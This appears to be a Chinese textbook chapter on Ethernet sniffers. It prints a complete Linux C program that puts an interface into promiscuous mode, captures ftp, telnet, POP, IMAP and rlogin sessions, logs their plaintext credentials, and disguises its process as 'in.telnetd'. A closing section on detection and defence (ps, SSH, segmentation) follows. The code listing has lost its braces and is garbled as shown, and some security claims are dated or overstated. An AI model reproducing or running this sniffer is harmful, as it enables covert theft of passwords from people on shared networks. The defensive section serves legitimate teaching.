sniffer.txt
上传用户:laihaixin
上传日期:2007-01-08
资源大小:34k
文件大小:12k
源码类别:

Internet/网络编程

开发平台:

C/C++

  1. 第六章 Sniffer
  2.   Sniffer是一种常用的收集有用数据方法,这些数据可以是用户的帐号和密码,可以是一些商用机密数据等等。为了对sniffer的工作原理有一个深入的了解,第二节给出了一个sniffer的源程序,并对它进行讲解。最后的第三节是探测和防范sniffer的介绍。
  3. 第一节 Sniffer简介
  4. 什么是以太网sniffing? 
  5.   以太网sniffing 是指对以太网设备上传送的数据包进行侦听,发现感兴趣的包。如果发现符合条件的包,就把它存到一个log文件中去。通常设置的这些条件是包含字"username"或"password"的包。
  6. 它的目的是将网络层放到promiscuous模式,从而能干些事情。Promiscuous模式是指网络上的所有设备都对总线上传送的数据进行侦听,并不仅仅是它们自己的数据。根据第二章中有关对以太网的工作原理的基本介绍,可以知道:一个设备要向某一目标发送数据时,它是对以太网进行广播的。一个连到以太网总线上的设备在任何时间里都在接受数据。不过只是将属于自己的数据传给该计算机上的应用程序。
  7. 利用这一点,可以将一台计算机的网络连接设置为接受所有以太网总线上的数据,从而实现sniffer。
  8. sniffer通常运行在路由器,或有路由器功能的主机上。这样就能对大量的数据进行监控。sniffer属第二层次的攻击。通常是攻击者已经进入了目标系统,然后使用sniffer这种攻击手段,以便得到更多的信息。
  9. sniffer除了能得到口令或用户名外,还能得到更多的其他信息,比如一个其他重要的信息,在网上传送的金融信息等等。sniffer几乎能得到任何以太网上的传送的数据包。
  10.   有许多运行与不同平台上的sniffer程序。
  11. Linux tcpdump 
  12. DOS ETHLOAD、The Gobbler、LanPatrol、LanWatch 、Netmon、Netwatch、      Netzhack 
  13. 上面的这些程序,可以从互连网上找到。
  14. 使用sniffer程序或编写一个功能强大的sniffer程序需要一些网络方面的知识。因为如果没有恰当的设置这个程序,根本就不能从大量的数据中找出需要的信息。
  15. 通常sniffer程序只看一个数据包的前200-300个字节的数据,就能发现想口令和用户名这样的信息。
  16. 第二节 一个sniffer源程序
  17. 下面是一个Linux以太网sniffer的源程序。可以根据需要加强这个程序。 
  18. /* Linux sniffer.c 本程序已经在Red Hat 5.2上调试通过*/
  19. #include < string.h> 
  20. #include < ctype.h> 
  21. #include < stdio.h> 
  22. #include < netdb.h>
  23. #include < sys/file.h>
  24. #include < sys/time.h>
  25. #include < sys/socket.h>
  26. #include < sys/ioctl.h>
  27. #include < sys/signal.h>
  28. #include < net/if.h>
  29. #include < arpa/inet.h>
  30. #include < netinet/in.h>
  31. #include < netinet/ip.h>
  32. #include < netinet/tcp.h>
  33. #include < netinet/if_ether.h>
  34. int openintf(char *);
  35. int read_tcp(int);
  36. int filter(void);
  37. int print_header(void);
  38. int print_data(int, char *);
  39. char *hostlookup(unsigned long int);
  40. void clear_victim(void);
  41. void cleanup(int);
  42. struct etherpacket
  43. {
  44. struct ethhdr eth;
  45. struct iphdr ip;
  46. struct tcphdr tcp;
  47. char buff[8192];
  48. }ep;
  49. struct
  50. {
  51. unsigned long saddr;
  52. unsigned long daddr;
  53. unsigned short sport;
  54. unsigned short dport;
  55. int bytes_read;
  56. char active;
  57. time_t start_time;
  58. } victim;
  59. struct iphdr *ip;
  60. struct tcphdr *tcp;
  61. int s;
  62. FILE *fp;
  63. #define CAPTLEN 512
  64. #define TIMEOUT 30
  65. #define TCPLOG "tcp.log"
  66. int openintf(char *d) 
  67. int fd; 
  68. struct ifreq ifr; 
  69. int s; 
  70. fd=socket(AF_INET, SOCK_PACKET, htons(0x800)); 
  71. if(fd < 0) 
  72. perror("cant get SOCK_PACKET socket"); 
  73. exit(0); 
  74. strcpy(ifr.ifr_name, d); 
  75. s=ioctl(fd, SIOCGIFFLAGS, &ifr); 
  76. if(s < 0) 
  77. close(fd); 
  78. perror("cant get flags"); 
  79. exit(0); 
  80. ifr.ifr_flags |= IFF_PROMISC; 
  81. s=ioctl(fd, SIOCSIFFLAGS, &ifr); 
  82. if(s < 0) perror("can not set promiscuous mode"); 
  83. return fd; 
  84. int read_tcp(int s) 
  85. int x; 
  86. while(1) 
  87. x=read(s, (struct etherpacket *)&ep, sizeof(ep)); 
  88. if(x > 1) 
  89. if(filter()==0) continue; 
  90. x=x-54; 
  91. if(x < 1) continue; 
  92. return x; 
  93. int filter(void) 
  94. int p; 
  95. p=0; 
  96. if(ip->protocol != 6) return 0; 
  97. if(victim.active != 0) 
  98. if(victim.bytes_read > CAPTLEN) 
  99. fprintf(fp, "n----- [CAPLEN Exceeded]n"); 
  100. clear_victim(); 
  101. return 0; 
  102. if(victim.active != 0) 
  103. if(time(NULL) > (victim.start_time + TIMEOUT)) 
  104. fprintf(fp, "n----- [Timed Out]n"); 
  105. clear_victim(); 
  106. return 0; 
  107. if(ntohs(tcp->dest)==21) p=1; /* ftp */ 
  108. if(ntohs(tcp->dest)==23) p=1; /* telnet */ 
  109. if(ntohs(tcp->dest)==110) p=1; /* pop3 */ 
  110. if(ntohs(tcp->dest)==109) p=1; /* pop2 */ 
  111. if(ntohs(tcp->dest)==143) p=1; /* imap2 */ 
  112. if(ntohs(tcp->dest)==513) p=1; /* rlogin */ 
  113. if(ntohs(tcp->dest)==106) p=1; /* poppasswd */ 
  114. if(victim.active == 0) 
  115. if(p == 1) 
  116. if(tcp->syn == 1) 
  117. victim.saddr=ip->saddr; 
  118. victim.daddr=ip->daddr; 
  119. victim.active=1; 
  120. victim.sport=tcp->source; 
  121. victim.dport=tcp->dest; 
  122. victim.bytes_read=0; 
  123. victim.start_time=time(NULL); 
  124. print_header(); 
  125. if(tcp->dest != victim.dport) return 0; 
  126. if(tcp->source != victim.sport) return 0; 
  127. if(ip->saddr != victim.saddr) return 0; 
  128. if(ip->daddr != victim.daddr) return 0; 
  129. if(tcp->rst == 1) 
  130. victim.active=0; 
  131. alarm(0); 
  132. fprintf(fp, "n----- [RST]n"); 
  133. clear_victim(); 
  134. return 0; 
  135. if(tcp->fin == 1) 
  136. victim.active=0; 
  137. alarm(0); 
  138. fprintf(fp, "n----- [FIN]n"); 
  139. clear_victim(); 
  140. return 0; 
  141. return 1; 
  142. int print_header(void) 
  143. fprintf(fp, "n"); 
  144. fprintf(fp, "%s => ", hostlookup(ip->saddr)); 
  145. fprintf(fp, "%s [%d]n", hostlookup(ip->daddr), ntohs(tcp->dest)); 
  146. int print_data(int datalen, char *data) 
  147. int i=0; 
  148. int t=0; 
  149. victim.bytes_read=victim.bytes_read+datalen; 
  150. for(i=0;i != datalen;i++) 
  151. if(data[i] == 13) { fprintf(fp, "n"); t=0; } 
  152. if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;} 
  153. if(t > 75) {t=0;fprintf(fp, "n");} 
  154. main(int argc, char **argv) 
  155. sprintf(argv[0],"%s","in.telnetd"); 
  156. s=openintf("eth0"); 
  157. ip=(struct iphdr *)(((unsigned long)&ep.ip)-2); 
  158. tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2); 
  159. signal(SIGHUP, SIG_IGN); 
  160. signal(SIGINT, cleanup); 
  161. signal(SIGTERM, cleanup); 
  162. signal(SIGKILL, cleanup); 
  163. signal(SIGQUIT, cleanup); 
  164. if(argc == 2) fp=stdout; 
  165. else fp=fopen(TCPLOG, "at"); 
  166. if(fp == NULL) { fprintf(stderr, "cant open logn");exit(0);} 
  167. clear_victim(); 
  168. for(;;) 
  169. read_tcp(s); 
  170. if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2); 
  171. fflush(fp); 
  172. char *hostlookup(unsigned long int in) 
  173. static char blah[1024]; 
  174. struct in_addr i; 
  175. struct hostent * he; 
  176. i.s_addr=in; 
  177. he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET); 
  178. if(he == NULL) 
  179. strcpy(blah, inet_ntoa(i)); 
  180. else 
  181. strcpy(blah,he->h_name);
  182. return blah; 
  183. void clear_victim(void) 
  184. victim.saddr=0; 
  185. victim.daddr=0; 
  186. victim.sport=0; 
  187. victim.dport=0; 
  188. victim.active=0; 
  189. victim.bytes_read=0; 
  190. victim.start_time=0; 
  191. void cleanup(int sig) 
  192. fprintf(fp, "Exiting...n"); 
  193. close(s); 
  194. fclose(fp); 
  195. exit(0); 
  196. }
  197. 下面对上面的程序作一个介绍。结构etherpacket定义了一个数据包。其中的ethhdr,iphdr,和tcphdr分别是三个结构,用来定义以太网帧,IP数据包头和TCP数据包头的格式。
  198. 它们在头文件中的定义如下:
  199. struct ethhdr 
  200. {
  201. unsigned char h_dest[ETH_ALEN]; /* destination eth addr */
  202. unsigned char h_source[ETH_ALEN]; /* source ether addr */
  203. unsigned short h_proto; /* packet type ID field */
  204. };
  205. struct iphdr
  206. {
  207. #if __BYTE_ORDER == __LITTLE_ENDIAN
  208. u_int8_t ihl:4;
  209. u_int8_t version:4;
  210. #elif __BYTE_ORDER == __BIG_ENDIAN
  211. u_int8_t version:4;
  212. u_int8_t ihl:4;
  213. #else
  214. #error "Please fix < bytesex.h>"
  215. #endif
  216. u_int8_t tos;
  217. u_int16_t tot_len;
  218. u_int16_t id;
  219. u_int16_t frag_off;
  220. u_int8_t ttl;
  221. u_int8_t protocol;
  222. u_int16_t check;
  223. u_int32_t saddr;
  224. u_int32_t daddr;
  225. /*The options start here. */
  226. };
  227. struct tcphdr
  228. {
  229. u_int16_t source;
  230. u_int16_t dest;
  231. u_int32_t seq;
  232. u_int32_t ack_seq;
  233. #if __BYTE_ORDER == __LITTLE_ENDIAN
  234. u_int16_t res1:4;
  235. u_int16_t doff:4;
  236. u_int16_t fin:1;
  237. u_int16_t syn:1;
  238. u_int16_t rst:1;
  239. u_int16_t psh:1;
  240. u_int16_t ack:1;
  241. u_int16_t urg:1;
  242. u_int16_t res2:2;
  243. #elif __BYTE_ORDER == __BIG_ENDIAN
  244. u_int16_t doff:4;
  245. u_int16_t res1:4;
  246. u_int16_t res2:2;
  247. u_int16_t urg:1;
  248. u_int16_t ack:1;
  249. u_int16_t psh:1;
  250. u_int16_t rst:1;
  251. u_int16_t syn:1;
  252. u_int16_t fin:1;
  253. #else
  254. #error "Adjust your < bits/endian.h> defines"
  255. #endif
  256. u_int16_t window;
  257. u_int16_t check;
  258. u_int16_t urg_ptr;
  259. };
  260. 上述结构的具体含义可参见《TCP/IP协议简介》一章中的相关内容。接下来,定义了一个结构变量victim。
  261. 随后,看一下函数int openintf(char *d),它的作用是打开一个网络接口。在main中是将eth0作为参数来调用这个函数。在这个函数中,用到了下面的结构:
  262. struct ifreq
  263. {
  264. #define IFHWADDRLEN 6
  265. #define IFNAMSIZ 16
  266. union
  267. {
  268. char ifrn_name[IFNAMSIZ]; /* Interface name, e.g. "en0". */
  269. } ifr_ifrn;
  270. union
  271. {
  272. struct sockaddr ifru_addr;
  273. struct sockaddr ifru_dstaddr;
  274. struct sockaddr ifru_broadaddr;
  275. struct sockaddr ifru_netmask;
  276. struct sockaddr ifru_hwaddr;
  277. short int ifru_flags;
  278. int ifru_ivalue;
  279. int ifru_mtu;
  280. struct ifmap ifru_map;
  281. char ifru_slave[IFNAMSIZ]; /* Just fits the size */
  282. __caddr_t ifru_data;
  283. } ifr_ifru;
  284. };
  285. 这个结构叫接口请求结构,用来调用在I/O输入输出时使用。所有的接口I/O输出必须有一个参数,这个参数以ifr_name开头,后面的参数根据使用不同的网络接口而不同。
  286.   如果你要看看你的计算机有哪些网络接口,使用命令ifconfig即可。一般你会看到两个接口lo0和eth0。在ifreq结构中的各个域的含义与ifconfig的输出是一一对应的。在这里,程序将eth0作为ifr_name来使用的。接着,该函数将这个网络接口设置成promiscuous模式。请记住,sniffer是工作在这种模式下的。
  287. 再看一下函数read_tcp,它的作用是读取TCP数据包,传给filter处理。Filter函数是对上述读取的数据包进行处理。
  288. 接下来的程序是将数据输出到文件中去。
  289. 函数clearup是在程序退出等事件时,在文件中作个记录,并关闭文件。否则,你刚才做的记录都没了。
  290. 第三节 怎样在一个网络上发现一个sniffer
  291.   简单的一个回答是你发现不了。因为他们根本就没有留下任何痕迹。
  292.   只有一个办法是看看计算机上当前正在运行的所有程序。但这通常并不可靠,但你可以控制哪个程序可以在你的计算机上运行。
  293.   在Unix系统下使用下面的命令:
  294.     ps -aux
  295.   或:
  296.     ps -augx
  297. 这个命令列出当前的所有进程,启动这些进程的用户,它们占用CPU的时间,占用内存的多少等等。
  298. 在Windows系统下,按下Ctrl+Alt+Del,看一下任务列表。不过,编程技巧高的Sniffer即使正在运行,也不会出现在这里的。
  299.   另一个方法就是在系统中搜索,查找可怀疑的文件。但可能入侵者用的是他们自己写的程序,所以都给发现sniffer造成相当的困难。
  300.   还有许多工具,能用来看看你的系统会不会在promiscuous模式。从而发现是否有一个sniffer正在运行。
  301. 怎样防止被sniffer
  302.   要防止sniffer并不困难,有许多可以选用的方法。但关键是都要有开销。所以问题在于你是否舍得开销。
  303.   你最关心的可能是传输一些比较敏感的数据,如用户ID或口令等等。有些数据是没有经过处理的,一旦被sniffer,就能获得这些信息。解决这些问题的办法是加密。
  304. 加密
  305.   我们介绍以下SSH,它又叫Secure Shell。SSH是一个在应用程序中提供安全通信的协议。它是建立在客户机/服务器模型上的。SSH服务器的分配的端口是22。连接是通过使用一种来自RSA的算法建立的。在授权完成后,接下来的通信数据是用IDEA技术来加密的。这通常是较强的 ,适合与任何非秘密和非经典的通讯。
  306.   SSH后来发展成为F-SSH,提供了高层次的,军方级别的对通信过程的加密。它为通过TCP/IP网络通信提供了通用的最强的加密。
  307.   如果某个站点使用F-SSH,用户名和口令成为不是很重要的一点。目前,还没有人突破过这种加密方法。即使是sniffer,收集到的信息将不再有价值。当然最关键的是怎样使用它。
  308.   SSH和F-SSH都有商业或自由软件版本存在。NT are available. 
  309. 还有其他的方法吗?
  310.   另一个比较容易接受的是使用安全拓扑结构。这听上去很简单,但实现是很花钱的。
  311.   玩过一种智力游戏吗,它通常有一系列数字组成。游戏的目的是要安排好数字,用最少的步骤,把它们按递减顺序排好。当处理网络拓扑时,就和玩这个游戏一样。
  312.   下面是一些规则:
  313.    一个网络段必须有足够的理由才能信任另一网络段。网络段应该考虑你的数据之间的信任关系上来设计,而不是硬件需要。
  314.   这就建立了,让我们来看看。第一点:一个网络段是仅由能互相信任的计算机组成的。通常它们在同一个房间里,或在同一个办公室里。比如你的财务信息,应该固定在建筑的一部分。
  315.   注意每台机器是通过硬连接线接到Hub的。Hub再接到交换机上。由于网络分段了,数据包只能在这个网段上别sniffer。其余的网段将不可能被sniffer。
  316.   所有的问题都归结到信任上面。计算机为了和其他计算机进行通信,它就必须信任那台计算机。作为系统管理员,你的工作是决定一个方法,使得计算机之间的信任关系很小。这样,就建立了一种框架,你告诉你什么时候放置了一个sniffer,它放在那里了,是谁放的等等。
  317. 如果你的局域网要和INTERNET相连,仅仅使用防火墙是不够的。入侵者已经能从一个防火墙后面扫描,并探测正在运行的服务。你要关心的是一旦入侵者进入系统,他能得到些什么。你必须考虑一条这样的路径,即信任关系有多长。举个例子,假设你的WEB服务器对某一计算机A是信任的。那么有多少计算机是A信任的呢。又有多少计算机是受这些计算机信任的呢?用一句话,就是确定最小信任关系的那台计算机。在信任关系中,这台计算机之前的任何一台计算机都可能对你的计算机进行攻击,并成功。你的任务就是保证一旦出现的sniffer,它只对最小范围有效。 
  318. Sniffer往往是攻击者在侵入系统后使用的,用来收集有用的信息。因此,防止系统被突破是关键。系统安全管理员要定期的对所管理的网络进行安全测试,防止安全隐患。同时要控制拥有相当权限的用户的数量。请记住,许多攻击往往来自网络内部。